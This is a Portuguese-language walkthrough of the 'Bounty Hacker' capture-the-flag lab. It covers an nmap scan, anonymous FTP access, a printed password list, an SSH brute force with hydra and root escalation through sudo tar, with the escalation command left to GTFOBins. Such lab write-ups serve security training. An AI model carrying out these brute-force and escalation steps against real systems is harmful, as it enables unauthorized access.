Bounty Hacker Ctf

Hoje nós iremos fazer o ctf do Bounty Hacker.

Primeiro nós começaremos com um escaneamento padrão na máquina alvo.

```
└─# nmap -sS 10.10.51.251 -Pn --open
Starting Nmap 7.94 ( https://nmap.org ) at 2024-01-02 20:12 -03
Nmap scan report for 10.10.51.251
Host is up (0.22s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 11.23 seconds
```

Encontramos uma porta ftp, uma porta ssh e uma porta http.

Vou tentar realizar o login anonymous no ftp.

```
└─# ftp 10.10.51.251 -v
Connected to 10.10.51.251.
220 (vsFTPd 3.0.3)
Name (10.10.51.251:kaliun): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

Aparentemente, o serviço aceita login anônimo sem pedir nenhuma senha.

```
ftp> dir
229 Entering Extended Passive Mode (|||46672|)
150 Here comes the directory listing.
-rw-rw-r--    1 ftp      ftp           418 Jun 07  2020 locks.txt
-rw-rw-r--    1 ftp      ftp            68 Jun 07  2020 task.txt
226 Directory send OK.
ftp> dir
```

Dentro do serviço de ftp é possível achar dois arquivos. Um de task e outro de locks.

```
└─# cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.

-lin
```

Dentro de task podemos ver um possível usuário ou algo do tipo, pois no final da mensagem há o nome lin.

```
└─# cat locks.txt
rEddrAGON
ReDdr4g0nSynd!cat3
Dr@gOn$yn9icat3
R3DDr46ONSYndIC@Te
ReddRA60N
R3dDrag0nSynd1c4te
dRa6oN5YNDiCATE
ReDDR4g0n5ynDIc4te
R3Dr4gOn2044
RedDr4gonSynd1cat3
R3dDRaG0Nsynd1c@T3
Synd1c4teDr@g0n
reddRAg0N
REddRaG0N5yNdIc47e
Dra6oN$yndIC@t3
4L1mi6H71StHeB357
rEDdragOn$ynd1c473
DrAgoN5ynD1cATE
ReDdrag0n$ynd1cate
Dr@gOn$yND1C4Te
RedDr@gonSyn9ic47e
REd$yNdIc47e
dr@goN5YNd1c@73
rEDdrAGOnSyNDiCat3
r3ddr@g0N
ReDSynd1ca7e
```

Dentro de locks há o que parace ser uma espécie de lista de senhas ou possíveis senhas.

```
└─# hydra -l lin -P locks.txt 10.10.51.251 ssh
```

Vamos usar o hydra para verificar esse usuário e essa possível lista e senhas.

```
└─# hydra -l lin -P locks.txt 10.10.51.251 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in militar
hese *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-02 20:27:30
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommend
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tri
[DATA] attacking ssh://10.10.51.251:22/
[22][ssh] host: 10.10.51.251   login: lin   password: [redacted]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-02 20:27:36
```

E conseguimos! Nós temos agora, acesso a máquina do alvo via ssh. Vamos nos conectar e tentar descobrir oque nós podemos encontrar.

```
Last login: Sun Jun  7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$ ls
user.txt
lin@bountyhacker:~/Desktop$
```

Já obtemos a flag do user. Agora, como padrão, precisamos escalar privilégio para pegar a flag do root.

Para escalar privilégio, vamos começar com o mais simples, que é verificando o sudo -l.

```
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User lin may run the following commands on bountyhacker:
    (root) /bin/tar
lin@bountyhacker:~/Desktop$
```

Aparentemente há uma aplicação que funciona com permissão de root.
Um dos caminhos para verificar se é possível escalar via o "tar", é pesquisando ele neste site: https://gtfobins.github.io/

Após realizar um simples comando do pesquisado no site acima, nós obtivemos acesso de root na máquina, e assim

temos acesso a flag do root.

Foi um ctf bem simples e fácil, mostrando técnicas de compreendimento fácil e rápido.

Tenha um bom ctf!